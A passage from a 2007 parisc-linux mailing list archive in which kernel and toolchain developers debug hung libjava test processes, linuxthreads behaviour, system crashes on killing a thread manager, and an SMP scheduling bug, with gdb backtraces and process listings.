Lines: 107
Approved: news@gmane.org
Message-ID: <200701090315.l093F1fI015830__22853.4834961922$1416624260$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440701081830o2d242fe9g806108c74c798726@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624260 22436 80.91.229.3 (22 Nov 2014 02:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2007 03:23:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 09 Jan 2007 04:23:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCC1A7D9AF;
	Mon,  8 Jan 2007 20:23:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12405-06; Mon, 8 Jan 2007 20:23:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 861FB7D996;
	Mon,  8 Jan 2007 20:23:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A713A7D984
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 20:23:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12158-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 20:23:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D3BD07D975
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 20:23:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l093NXrV015953;
	Mon, 8 Jan 2007 22:23:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l093F1fI015830;
	Mon, 8 Jan 2007 22:15:01 -0500 (EST)
In-Reply-To: <119aab440701081830o2d242fe9g806108c74c798726@mail.gmail.com>
	from "Carlos O'Donell" at Jan 8, 2007 09:30:40 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9DObcGtVbmw7XK2HZzdL1CpHUzc4cpGr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24233

> On 1/8/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > I managed to get gdb backtraces for the hung java processes yesterday.
> > It looks like the hang could be a result of the clone bug in glibc.
> > clone is used in thread creation.
> 
> The clone bug is a failure to restore r19 correctly. This results in
> an immediate crash when attempting to access a variable via the PIC
> register. It doesn't matter in 99% of the cases where the $$dyncall
> sets r19 and we jump to the target plabel.
> 
> I argue that this is not the clone bug.
> 
> > Of course, this doesn't explain why killing the processes crashes the
> > system.
> 
> It doesn't explain it ... because it's not that bug.

Another example:

dave     22128     1  0 13:03 ?        00:00:00 /home/dave/gnu/gcc-4.3/objdir/hppa-linux/libjava/testsuite/Process_2.exe
dave     22129     1 85 13:03 ?        07:33:07 /home/dave/gnu/gcc-4.3/objdir/hppa-linux/libjava/testsuite/Process_2.exe
dave     22130 22129  0 13:03 ?        00:00:00 [sh] <defunct>

>>>From top:
22128 dave      15   0 50948  28m  20m S  0.0  2.9   0:00.00 Process_2.exe
22129 dave      25   0 50948  28m  20m T  0.0  2.9 457:14.08 Process_2.exe
22130 dave      20   0     0    0    0 Z  0.0  0.0   0:00.01 sh <defunct>

$ gdb Process_2.exe 22129
...
(gdb) bt
#0  0x40601a30 in __pthread_manager () from /lib/libpthread.so.0
#1  0x41a50498 in _Jv_CondWait (cv=0x40b4e000, mu=0xeae0c29,
    millis=<value optimized out>, nanos=208)
    at ../../../gcc/libjava/posix-threads.cc:179
#2  0x41a31794 in gnu::gcj::runtime::FinalizerThread::run (
    this=<value optimized out>)
    at ../../../gcc/libjava/gnu/gcj/runtime/natFinalizerThread.cc:57
#3  0x41a45c50 in _Jv_ThreadRun (thread=0x4052fd70)
    at ../../../gcc/libjava/java/lang/natThread.cc:302
#4  0x41a4fdd4 in really_start (x=0x400c38a0)
    at ../../../gcc/libjava/posix-threads.cc:445
#5  0x42738714 in GC_start_routine (arg=0x400e2f80)
    at ../../../gcc/boehm-gc/pthread_support.c:1294
#6  0x4060128c in pthread_start_thread () from /lib/libpthread.so.0
#7  0x409ff780 in clone () from /lib/libc.so.6
#8  0x409ff780 in clone () from /lib/libc.so.6
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

As far as I can tell, this process is "stuck" at 0x40601a30 although
I don't think setting breaks on a running process works.  The process
isn't doing anything special:

(gdb) disass 0x40601a20 0x40601a40
Dump of assembler code from 0x40601a20 to 0x40601a40:
0x40601a20 <__pthread_manager+1012>:    ldw 0(r22),r20
0x40601a24 <__pthread_manager+1016>:    add,l r20,ret0,r20
0x40601a28 <__pthread_manager+1020>:    ldi 1,ret0
0x40601a2c <__pthread_manager+1024>:    stw r20,0(r22)
0x40601a30 <__pthread_manager+1028>:    stw ret0,c(r5)
0x40601a34 <__pthread_manager+1032>:    ldo 1bc(r5),ret0
0x40601a38 <__pthread_manager+1036>:    add,l r20,r7,r3
0x40601a3c <__pthread_manager+1040>:    depw,z r7,30,31

gdb Process_2.exe 22129
...
(gdb) bt
#0  0x409e68b4 in sched_yield () from /lib/libc.so.6
#1  0x406055f0 in __pthread_acquire () from /lib/libpthread.so.0
#2  0x4060585c in __pthread_alt_unlock () from /lib/libpthread.so.0
#3  0x406024d4 in pthread_mutex_unlock () from /lib/libpthread.so.0
#4  0x41ebcea0 in java.lang.ConcreteProcess$ProcessManager.run()void (
    this=0x40542e40) at java/lang/ConcreteProcess.java:35
#5  0x41a45c50 in _Jv_ThreadRun (thread=0x40542e40)
    at ../../../gcc/libjava/java/lang/natThread.cc:302
#6  0x41a4fdd4 in really_start (x=0x400c3800)
    at ../../../gcc/libjava/posix-threads.cc:445
#7  0x42738714 in GC_start_routine (arg=0x400e2ec0)
    at ../../../gcc/boehm-gc/pthread_support.c:1294
#8  0x4060128c in pthread_start_thread () from /lib/libpthread.so.0
#9  0x409ff780 in clone () from /lib/libc.so.6
#10 0x409ff780 in clone () from /lib/libc.so.6
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

This process appears to be trying to acquire a lock in __pthread_acquire
which is always locked.  So, it spins calling sched_yield and/or
nanosleep.

When I quit gdb, I see:

(gdb) quit
The program is running.  Quit anyway (and detach it)? (y or n) y
Quitting: Can't detach LWP 22125: No such process

kill -9 22128 22129
just crashed the system.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 8 Jan 2007 22:47:31 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20070109034731.GD1065__47385.1251685575$1416624260$gmane$org@athena.road.mcmartin.ca>
References: <119aab440701081830o2d242fe9g806108c74c798726@mail.gmail.com>
	<200701090315.l093F1fI015830@hiauly1.hia.nrc.ca>
	<119aab440701081939l2c8dc081nc48774f2e5fcb893@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624260 22438 80.91.229.3 (22 Nov 2014 02:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:20 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2007 03:47:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 09 Jan 2007 04:47:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F37977D9C5;
	Mon,  8 Jan 2007 20:47:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12881-09; Mon, 8 Jan 2007 20:47:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D498A7D9C8;
	Mon,  8 Jan 2007 20:47:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83EF37D9C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 20:47:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12978-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 20:47:37 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E44BE7D9BF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 20:47:36 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D99515840A0;
	Mon,  8 Jan 2007 22:47:35 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6136A58409C;
	Mon,  8 Jan 2007 22:47:35 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0AE65837DC;
	Mon,  8 Jan 2007 22:47:35 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 882F73B06E; Mon,  8 Jan 2007 22:47:31 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440701081939l2c8dc081nc48774f2e5fcb893@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DGXKdhRoeWU3WK2TZm9nchorL0tsZo32
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24234

On Mon, Jan 08, 2007 at 10:39:58PM -0500, Carlos O'Donell wrote:
> This is linuxthreads. One thread is the manager, the other thread is
> doing the real work. You *must* find out why killing that thread
> crashes the system. That is clearly a kernel bug.
> 
> The stuck process could be a compiler, java, or glibc bug.
> 

echo p >/proc/sysrq-trigger or
echo t >/proc/sysrq-trigger

Would probably yield some useful information if the fucked process is still
being scheduled.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Tue, 9 Jan 2007 21:05:33 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200701100205.l0A25XjX006906__2768.08038256622$1416624260$gmane$org@hiauly1.hia.nrc.ca>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624260 22443 80.91.229.3 (22 Nov 2014 02:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: kyle@parisc-linux.org (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2007 02:05:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 10 Jan 2007 03:05:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C7397D9E5;
	Tue,  9 Jan 2007 19:05:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24404-04; Tue, 9 Jan 2007 19:05:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8F697D9CF;
	Tue,  9 Jan 2007 19:05:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CE9A7D9C2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Jan 2007 19:05:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24359-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Jan 2007 19:05:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E42F87D9BF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Jan 2007 19:05:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0A25YnR006907;
	Tue, 9 Jan 2007 21:05:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0A25XjX006906;
	Tue, 9 Jan 2007 21:05:33 -0500 (EST)
In-Reply-To: <20070109034731.GD1065@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Jan 8, 2007 10:47:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qA3uAh9Ba2A7W7vDOHQyONsyOWhhaocU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24235

> echo p >/proc/sysrq-trigger or
> echo t >/proc/sysrq-trigger

Until I get the time to install a serial console, the above aren't
very useful.

> Would probably yield some useful information if the fucked process is still
> being scheduled.

I think all the hung processes aren't being scheduled.  strace shows
nothing and evertime I attach with gdb the processes are always at
exactly the same place.  It's killing the thread manager process that
crashes the system.  The others can be killed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Wed, 10 Jan 2007 15:21:46 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20070110222146.GD29244__32761.0712535263$1416624261$gmane$org@colo.lackof.org>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624261 22444 80.91.229.3 (22 Nov 2014 02:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:21 +0000 (UTC)
Cc: T-Bone@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2007 22:22:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 10 Jan 2007 23:22:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 406257D9F2;
	Wed, 10 Jan 2007 15:21:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04929-08; Wed, 10 Jan 2007 15:21:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 922A57D9ED;
	Wed, 10 Jan 2007 15:21:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C257D9EA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Jan 2007 15:21:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04929-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Jan 2007 15:21:48 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8A57D9E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Jan 2007 15:21:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 69ECAAC018;
	Wed, 10 Jan 2007 15:21:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01469-07; Wed, 10 Jan 2007 15:21:47 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 069A9AC009; Wed, 10 Jan 2007 15:21:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OlCXdBJTIyd1EvqQe2drWztaa2FkZlVC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24236

On Tue, Jan 09, 2007 at 09:05:33PM -0500, John David Anglin wrote:
> I think all the hung processes aren't being scheduled.  strace shows
> nothing and evertime I attach with gdb the processes are always at
> exactly the same place.  It's killing the thread manager process that
> crashes the system.  The others can be killed.

Running "make -j4" on a 2-way machine with 2.6.20-rc3, top shows
processes being scheduled only on CPU 0. CPU 1 is always idle.
This was reproducible with 2.6.20-rc[23] on a500 and rp3440.
I've verified this bug doesn't exist on 2.6.17-pa6.
I need to retest with something more recent (ie 2.6.19).

So I'm pretty sure we have a general scheduling bug and the above comments
suggest these might be related problem...no evidence of course.
Ideas on where I might start looking for the general bug?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] shmat() and CONFIG_STACK_GROWSUP
Date: Thu, 11 Jan 2007 20:15:58 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <200701112015.58821.deller__16019.4718781442$1416624261$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624261 22445 80.91.229.3 (22 Nov 2014 02:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jan 2007 19:16:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 11 Jan 2007 20:16:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C09B7D96A;
	Thu, 11 Jan 2007 12:16:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13539-10; Thu, 11 Jan 2007 12:16:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 570A37D978;
	Thu, 11 Jan 2007 12:16:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52B647D951
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Jan 2007 12:16:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13474-09 for <parisc-linux@lists.parisc-linux.org>;
